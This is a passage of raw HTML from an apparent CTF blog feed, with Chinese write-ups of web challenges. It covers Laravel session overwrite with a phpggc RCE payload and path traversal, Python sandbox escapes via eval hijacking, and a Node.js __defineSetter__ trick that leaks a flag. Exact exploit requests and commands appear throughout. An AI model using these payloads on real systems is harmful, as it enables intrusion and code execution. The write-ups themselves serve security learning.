class="line">1</span><br></pre></td><td class="code"><pre><span class="line">../ee3973488c12ec9231af25c6e84309d3?xxx/../<span class="built_in">test</span></span><br></pre></td></tr></table></figure><p>会将<code>/var/tmp/ee3973488c12ec9231af25c6e84309d3</code>的内容写到<code>storage_path("logs")/test</code></p><p>还是因为nginx特性的原因,只能将文件写到<code>storage_path("logs")</code>下</p><h4 id="laravel-session反序列化"><a href="#laravel-session反序列化" class="headerlink" title="laravel session反序列化"></a>laravel session反序列化</h4><p><code>storage_path("logs")/framework/sessions/</code>下存储了laravel的session文件,如果能覆盖的话可以通过session反序列化拿到flag</p><p>不过laravel不使用原生的php session,而是自己弄了一套,session文件名可以根据session id和app key得到固定值</p><p>为了防御session固定攻击,laravel每次访问session id都会变…但是session文件名不会变</p><p>题目给出了app key,本地搭建环境,远程使用和本地相同的session id即可保证session文件名相同</p><p>最后的步骤:</p><ul><li>本地搭建环境,记录此时的<code>laravel_session</code>和对应的session文件名</li><li>phpggc生成laravel 5.5.39的反序列化payload</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php .\phpggc -a Laravel/RCE2 system <span class="string">'cat /flag'</span></span><br></pre></td></tr></table></figure><ul><li>将<code>laravel_session</code>设置成本地值,将payload base64编码后写入<code>/var/tmp/md5($_SERVER["REMOTE_ADDR"])</code></li></ul><p><img src="/images/bestlanguage_upload.JPG" alt=""></p><ul><li>覆盖session文件</li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/move/log/..%2Fee3973488c12ec9231af25c6e84309d3%3Fxxx%2F..%2F..%2Fframework%2Fsessions%2FXQJBTIU1E9D5imnmUmI1g9tVC4yWDKYYneRb3CUH</span><br></pre></td></tr></table></figure><ul><li>注意这一步要把session改成别的或删掉,不然session文件会在请求处理后修改回去</li><li><code>XQJBTIU1E9D5imnmUmI1g9tVC4yWDKYYneRb3CUH</code>为本地session文件名</li></ul><ul><li>将session重新设成本地值,任意访问一个路由即可得到flag</li></ul><p><img src="/images/bestlanguage_result.JPG" alt=""></p><h3 id="非预期"><a href="#非预期" class="headerlink" title="非预期"></a>非预期</h3><p>CVE-2018-15133直接打</p><h3 id="非预期2"><a href="#非预期2" class="headerlink" title="非预期2"></a>非预期2</h3><p>在<a href="http://phoebe233.cn/index.php/archives/53/#bestlanguage" target="_blank" rel="noopener">http://phoebe233.cn/index.php/archives/53/#bestlanguage</a>看到的</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/index.php/tmp/../../flag</span><br></pre></td></tr></table></figure><p>多加一个<code>index.php</code>就能绕过nginx的特性了…</p><h2 id="pysandbox"><a href="#pysandbox" class="headerlink" title="pysandbox"></a>pysandbox</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/', methods=["POST","GET"])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">security</span><span class="params">()</span>:</span></span><br><span class="line"> secret = request.form[<span class="string">"cmd"</span>]</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> secret:</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> <span class="number">42</span> <= ord(i) <= <span class="number">122</span>: <span class="keyword">return</span> <span class="string">"error!"</span></span><br><span class="line"></span><br><span class="line"> exec(secret)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"xXXxXXx"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">"0.0.0.0"</span>)</span><br></pre></td></tr></table></figure><p>只允许ascii码42-122的字符,最大的问题就是<code>()</code>没了,无法调用函数</p><h3 id="app-static-folder"><a href="#app-static-folder" class="headerlink" title="app.static_folder"></a>app.static_folder</h3><p>第一种解法就是常规的flask ssti思路。既然无法调用函数,那就从flask的配置入手,将<code>app.static_folder</code>设为<code>/</code></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cmd=app.static_folder%3Dapp.root_path</span><br></pre></td></tr></table></figure><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/static/flag</span><br></pre></td></tr></table></figure><h3 id="函数劫持"><a href="#函数劫持" class="headerlink" title="函数劫持"></a>函数劫持</h3><p>思路是找到一个参数可控的函数,用<code>xxx=eval</code>将其劫持</p><p>可以添加一个路由显示导入的模块</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route('/info',methods=["POST","GET"])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">info</span><span class="params">()</span>:</span></span><br><span class="line"> modules = sys.modules</span><br><span class="line"> result = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> key,value <span class="keyword">in</span> modules.items():</span><br><span class="line"> result = result + key + <span class="string">"<br>"</span></span><br><span class="line"> <span class="keyword">return</span> result</span><br></pre></td></tr></table></figure><p>官方wp找的是<code>werkzeug.urls.url_parse</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">url_parse</span><span class="params">(url, scheme=None, allow_fragments=True)</span>:</span></span><br></pre></td></tr></table></figure><p>因为<code>werkzeug</code>不在当前模块的全局名称空间中,所以要用继承链去访问。用shrine的脚本找一下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">search</span><span class="params">(obj, max_depth)</span>:</span></span><br><span class="line"> </span><br><span class="line"> visited_clss = []</span><br><span class="line"> visited_objs = []</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">visit</span><span class="params">(obj, path=<span class="string">'obj'</span>, depth=<span class="number">0</span>)</span>:</span></span><br><span class="line"> <span class="keyword">yield</span> path, obj</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> depth == max_depth:</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">elif</span> isinstance(obj, (int, float, bool, str, bytes)):</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">elif</span> isinstance(obj, type):</span><br><span class="line"> <span class="keyword">if</span> obj <span class="keyword">in</span> visited_clss:</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> visited_clss.append(obj)</span><br><span class="line"> print(obj)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> obj <span class="keyword">in</span> visited_objs:</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> visited_objs.append(obj)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># attributes</span></span><br><span class="line"> <span class="keyword">for</span> name <span class="keyword">in</span> dir(obj):</span><br><span class="line"> <span class="keyword">if</span> name.startswith(<span class="string">'__'</span>) <span class="keyword">and</span> name.endswith(<span class="string">'__'</span>):</span><br><span class="line"> <span class="keyword">if</span> name <span class="keyword">not</span> <span class="keyword">in</span> (<span class="string">'__globals__'</span>, <span class="string">'__class__'</span>, <span class="string">'__self__'</span>,</span><br><span class="line"> <span class="string">'__weakref__'</span>, <span class="string">'__objclass__'</span>, <span class="string">'__module__'</span>):</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> attr = getattr(obj, name)</span><br><span class="line"> <span class="keyword">yield</span> <span class="keyword">from</span> visit(attr, <span class="string">'{}.{}'</span>.format(path, name), depth + <span class="number">1</span>)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># dict values</span></span><br><span class="line"> <span class="keyword">if</span> hasattr(obj, <span class="string">'items'</span>) <span class="keyword">and</span> callable(obj.items):</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">for</span> k, v <span class="keyword">in</span> obj.items():</span><br><span class="line"> <span class="keyword">yield</span> <span class="keyword">from</span> visit(v, <span class="string">'{}[{}]'</span>.format(path, repr(k)), depth)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># items</span></span><br><span class="line"> <span class="keyword">elif</span> isinstance(obj, (set, list, tuple, frozenset)):</span><br><span class="line"> <span class="keyword">for</span> i, v <span class="keyword">in</span> enumerate(obj):</span><br><span class="line"> <span class="keyword">yield</span> <span class="keyword">from</span> visit(v, <span class="string">'{}[{}]'</span>.format(path, repr(i)), depth)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">yield</span> <span class="keyword">from</span> visit(obj)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/find',methods=["POST","GET"])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">for</span> path, obj <span class="keyword">in</span> search(request,<span class="number">3</span>):</span><br><span class="line"> <span class="keyword">if</span> obj == <span class="string">'werkzeug.urls'</span>:</span><br><span class="line"> <span class="keyword">return</span> path</span><br></pre></td></tr></table></figure><p>返回<code>obj.environ['werkzeug.server.shutdown'].__globals__['uri_to_iri'].__module__</code>,需要修改一下通过<code>request.environ['werkzeug.server.shutdown'].__globals__['uri_to_iri'].__globals__['url_parse']</code>访问到<code>werkzeug.urls.url_parse</code></p><p>接着还需要bypass单引号,常见的<code>request.args</code>因为不是jinja2环境用不了,但可以用<code>request</code>的其他可控属性</p><p><img src="/images/pysandbox_hijack.JPG" alt=""></p><p>之后就可以用url代码执行</p><p><img src="/images/pysandbox_%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.JPG" alt=""></p><h3 id="lambda表达式劫持ord"><a href="#lambda表达式劫持ord" class="headerlink" title="lambda表达式劫持ord"></a>lambda表达式劫持ord</h3><p><a href="http://phoebe233.cn/index.php/archives/53/#menu_index_3" target="_blank" rel="noopener">http://phoebe233.cn/index.php/archives/53/#menu_index_3</a>大佬的解法…</p><p>正常情况下lambda表达式是需要空格的,不能绕过过滤,比如</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__builtins__.ord=<span class="keyword">lambda</span> a:<span class="number">45</span></span><br></pre></td></tr></table></figure><p>配合数组参数可以无空格</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__builtins__.ord=lamdba*a:<span class="number">45</span></span><br></pre></td></tr></table></figure><p>然后就可以为所欲为了-_-</p>]]></content>
<summary type="html">
<p>比赛的时候忙着最优化,做了个CloudDisk就溜了,不过打了也是丢人…</p>
<h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="BestLanguage"><a
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>TSG CTF复现</title>
<link href="https://liotree.github.io/2020/07/13/TSG-CTF%E5%A4%8D%E7%8E%B0/"/>
<id>https://liotree.github.io/2020/07/13/TSG-CTF%E5%A4%8D%E7%8E%B0/</id>
<published>2020-07-13T12:09:43.000Z</published>
<updated>2020-08-02T16:45:33.000Z</updated>
<content type="html"><![CDATA[<p>又双叒叕爆零…学到了一个新词:beginner…惨惨</p><h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="Beginner’s-Web"><a href="#Beginner’s-Web" class="headerlink" title="Beginner’s Web"></a>Beginner’s Web</h2><p>好一个beginner,不过这题还是很有意思的</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fastify = <span class="built_in">require</span>(<span class="string">'fastify'</span>);</span><br><span class="line"><span class="keyword">const</span> nunjucks = <span class="built_in">require</span>(<span class="string">'nunjucks'</span>);</span><br><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">'crypto'</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> converters = {};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> flagConverter = <span class="function">(<span class="params">input, callback</span>) =></span> {</span><br><span class="line"> <span class="keyword">const</span> flag = <span class="string">'*** CENSORED ***'</span>;</span><br><span class="line"> callback(<span class="literal">null</span>, flag);</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> base64Converter = <span class="function">(<span class="params">input, callback</span>) =></span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">const</span> result = Buffer.from(input).toString(<span class="string">'base64'</span>);</span><br><span class="line"> callback(<span class="literal">null</span>, result)</span><br><span class="line"> } <span class="keyword">catch</span> (error) {</span><br><span class="line"> callback(error);</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> scryptConverter = <span class="function">(<span class="params">input, callback</span>) =></span> {</span><br><span class="line"> crypto.scrypt(input, <span class="string">'I like sugar'</span>, <span class="number">64</span>, (error, key) => {</span><br><span class="line"> <span class="keyword">if</span> (error) {</span><br><span class="line"> callback(error);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> callback(<span class="literal">null</span>, key.toString(<span class="string">'hex'</span>));</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> app = fastify();</span><br><span class="line">app.register(<span class="built_in">require</span>(<span class="string">'point-of-view'</span>), {<span class="attr">engine</span>: {nunjucks}});</span><br><span class="line">app.register(<span class="built_in">require</span>(<span class="string">'fastify-formbody'</span>));</span><br><span class="line">app.register(<span class="built_in">require</span>(<span class="string">'fastify-cookie'</span>));</span><br><span class="line">app.register(<span class="built_in">require</span>(<span class="string">'fastify-session'</span>), {<span class="attr">secret</span>: <span class="built_in">Math</span>.random().toString(<span class="number">2</span>), <span class="attr">cookie</span>: {<span class="attr">secure</span>: <span class="literal">false</span>}});</span><br><span class="line"></span><br><span class="line">app.get(<span class="string">'/'</span>, <span class="keyword">async</span> (request, reply) => {</span><br><span class="line"> reply.view(<span class="string">'index.html'</span>, {<span class="attr">sessionId</span>: request.session.sessionId});</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">app.post(<span class="string">'/'</span>, <span class="keyword">async</span> (request, reply) => {</span><br><span class="line"> <span class="keyword">if</span> (request.body.converter.match(<span class="regexp">/[FLAG]/</span>)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">"Don't be evil :)"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (request.body.input.length < <span class="number">10</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'Too short :('</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> converters[<span class="string">'base64'</span>] = base64Converter;</span><br><span class="line"> converters[<span class="string">'scrypt'</span>] = scryptConverter;</span><br><span class="line"> converters[<span class="string">`FLAG_<span class="subst">${request.session.sessionId}</span>`</span>] = flagConverter;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> result = <span class="keyword">await</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =></span> {</span><br><span class="line"> converters[request.body.converter](request.body.input, (error, result) => {</span><br><span class="line"> <span class="keyword">if</span> (error) {</span><br><span class="line"> reject(error);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> resolve(result);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> reply.view(<span class="string">'index.html'</span>, {</span><br><span class="line"> input: request.body.input,</span><br><span class="line"> result,</span><br><span class="line"> sessionId: request.session.sessionId,</span><br><span class="line"> });</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">app.setErrorHandler(<span class="function">(<span class="params">error, request, reply</span>) =></span> {</span><br><span class="line"> reply.view(<span class="string">'index.html'</span>, {error, <span class="attr">sessionId</span>: request.session.sessionId});</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">app.listen(<span class="number">59101</span>, <span class="string">'0.0.0.0'</span>);</span><br></pre></td></tr></table></figure><h3 id="解法"><a href="#解法" class="headerlink" title="解法"></a>解法</h3><p>先说下解法</p><ul><li>发送post请求(<code>FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP</code>要按照不同的session id来)</li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input=FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP&converter=__defineSetter__</span><br></pre></td></tr></table></figure><p>这时页面会卡在那里</p><ul><li>另外再开一个页面,随便发一个post请求,比如</li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input=aaaaaaaaaaaaa&converter=base64</span><br></pre></td></tr></table></figure><p>这时原来那个卡住的页面就会报错显示<code>flagConverter</code>的代码,其中就包含了flag</p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><h4 id="Object-prototype-defineSetter"><a href="#Object-prototype-defineSetter" class="headerlink" title="Object.prototype.__defineSetter__()"></a><code>Object.prototype.__defineSetter__()</code></h4><p>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__" target="_blank" rel="noopener">MDN文档</a></p><blockquote><p><strong>defineSetter</strong> 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性被赋值时,你所绑定的函数就会被调用</p></blockquote><p>因此当我们传入</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input=FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP&converter=__defineSetter__</span><br></pre></td></tr></table></figure><p>会将</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">(error, result) => {</span><br><span class="line"> <span class="keyword">if</span> (error) {</span><br><span class="line"> reject(error);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> resolve(result);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>绑定到<code>converter[FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP]</code></p><h4 id="await-new-Promise"><a href="#await-new-Promise" class="headerlink" title="await new Promise"></a><code>await new Promise</code></h4><p><code>Promise</code>代表了一个异步操作的最终完成或者失败,而<code>await new Promise</code>会暂停当前 <code>async function</code> 的执行,让主线程先去执行<code>async function</code>外的代码,等待<code>Promise</code>的返回</p><p>那么为什么第一个请求发出后会卡住呢?</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> result = <span class="keyword">await</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =></span> {</span><br><span class="line"> converters[request.body.converter](request.body.input, (error, result) => {</span><br><span class="line"> <span class="keyword">if</span> (error) {</span><br><span class="line"> reject(error);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> resolve(result);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> });</span><br></pre></td></tr></table></figure><p>只有执行了<code>reject(error)</code>或者<code>resolve(result)</code>后<code>Promise</code>才会返回,但</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">(error, result) => {</span><br><span class="line"> <span class="keyword">if</span> (error) {</span><br><span class="line"> reject(error);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> resolve(result);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>需要在<code>base64Converter</code>或者<code>scryptConverter</code>调用,因此第一个请求发出后就一直卡在了<code>await new Promise</code>这里</p><h4 id="javascript容错性"><a href="#javascript容错性" class="headerlink" title="javascript容错性"></a>javascript容错性</h4><p>javascript可以接受比形参个数少的实参,比如</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> f = <span class="function"><span class="keyword">function</span>(<span class="params">a,b</span>)</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(a,b)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">f(<span class="string">'a'</span>); <span class="comment">//a undefined</span></span><br></pre></td></tr></table></figure><p>当第二个请求发送过来时,因为在<code>converter[FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP]</code>上设置了<code>Setter</code>,<br><code>converters[`FLAG_${request.session.sessionId}`] = flagConverter;</code>会调用</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">(error, result) => {</span><br><span class="line"> <span class="keyword">if</span> (error) {</span><br><span class="line"> reject(error);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> resolve(result);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>传入的参数只有一个,所以</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">error=flagConverter</span><br><span class="line">result=<span class="literal">undefined</span></span><br></pre></td></tr></table></figure><p>然后<code>reject(error);</code>使第一个请求的<code>Promise</code>返回(因为nodejs是<strong>单线程</strong>的,所以第二个请求能够影响到第一个请求),同时抛出一个<code>rejectionhandled</code>错误,该错误被<code>error handler</code>捕获</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">app.setErrorHandler(<span class="function">(<span class="params">error, request, reply</span>) =></span> {</span><br><span class="line"> reply.view(<span class="string">'index.html'</span>, {error, <span class="attr">sessionId</span>: request.session.sessionId});</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>这时将<code>flagConverter</code>作为<code>error</code>渲染</p><h4 id="Function-prototype-toString"><a href="#Function-prototype-toString" class="headerlink" title="Function.prototype.toString()"></a><code>Function.prototype.toString()</code></h4><p>为什么将函数渲染会返回其源代码呢?</p><ul><li>首先要看模板渲染的原理。模板渲染时会动态生成一段js代码</li></ul><p><img src="/images/nodejs%E6%A8%A1%E6%9D%BF%E6%B8%B2%E6%9F%93.JPG" alt=""></p><p>实际上是把模板文件中的html拆分开,和用户传入的变量进行字符串拼接</p><ul><li>javascript是弱类型语言,并且万物皆对象</li></ul><p>因此当把函数和字符串进行拼接时,会调用<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/toString" target="_blank" rel="noopener">Function.prototype.toString()</a>将函数转为字符串,该方法会返回一个表示函数源代码的字符串</p><p>一个简单的示例</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> f = <span class="function"><span class="keyword">function</span> (<span class="params">a, b</span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(a, b)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'aaaaa'</span>+f);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">aaaaafunction (a, b) {</span></span><br><span class="line"><span class="comment"> console.log(a, b)</span></span><br><span class="line"><span class="comment">}</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>对js内置方法的运用:<code>Object.prototype.__defineSetter__()</code>和<code>Function.prototype.toString()</code></li><li>对js异步编程的了解</li><li>js的容错性和弱类型转换</li><li>javascript是世界上最好的语言(确信</li></ul><h3 id="References"><a href="#References" class="headerlink" title="References"></a>References</h3><ul><li><a href="https://gist.github.com/0xParrot/310b71266ca2a6bfcaf26b5419c91a0d" target="_blank" rel="noopener">https://gist.github.com/0xParrot/310b71266ca2a6bfcaf26b5419c91a0d</a></li><li><a href="https://github.com/TeamUnderdawgs/CTF-Docs/blob/master/TsgCTF2020/Web/Beginners-Web.md" target="_blank" rel="noopener">https://github.com/TeamUnderdawgs/CTF-Docs/blob/master/TsgCTF2020/Web/Beginners-Web.md</a></li></ul><h2 id="note1"><a href="#note1" class="headerlink" title="note1"></a>note1</h2><p>进去之后是一个记事本的功能</p><p><img src="/images/TSGCTF_note.JPG" alt=""></p><p>给了ruby的后端代码和一个worker.js</p><ul><li>app.rb</li></ul><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span 